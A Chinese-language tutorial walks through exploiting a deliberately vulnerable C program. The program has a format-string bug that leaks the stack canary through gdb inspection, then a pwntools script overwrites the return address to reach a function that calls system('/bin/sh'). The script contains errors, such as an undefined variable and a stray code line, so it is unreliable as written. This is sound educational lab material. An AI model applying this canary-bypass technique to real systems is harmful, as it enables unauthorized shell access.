实例分析
编译printf2.c ,要加canary保护
输入
写exp,利用printf漏洞来突破canary
并且覆盖ret
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
接下来进gdb
查看func函数disass func
我们直接下断到printf函数上,
b *0x08048565
之后运行
(随便输)
然后我们可以看一下堆栈stack 0x28
因为之前我们的canary在0xc上面
之后用x -$ebp -0xc
来查看地址和内容
内容是0x68acb300
在这里
距离栈顶15行
之后我们试图让它输出15行的内容
先让程序跑起来
之后输入
%15$08x
相对于栈顶15位,输出8位,
0x不是
x的意思是输出16位
然后我们可以看到我们的参数确实是这个
注意:输入之后可能会变化,建议重新运行程序,先改输入,再看堆栈
payload书写
from pwn import *
p = process("/.printf2")
p.sendline("%15$08x")//我们要先发送泄露的代码
canary = p.recv()[:8]
printf canary //输入这个来验证是否发送返回正确
canary = canary.decode("hex")[::-1]//我们之前得到的人看到的数据,但是机器是读不懂的,得输进小段倒叙储存组,后面[::-1]是倒序的意思
canary_offset = 8*4
ret_address = 3*4
exploit_address = p32(0x080484e6)
payload = canary_offset*'a'+canary+ret_offset*'a'+exploit_address
p.sendline(payload)
p.interactive()
中间隔了有8行,之后加上canary
[:8]试验输出之后,我们会多一个回车,这个时候我们只要8位就行了
接下来,我们再看返回地址和main函数的距离
最后加上main函数的地址
我们再进入gdb,因为我们需要exploit函数的具体地址
至于为什么要sendline两次
我们read了两次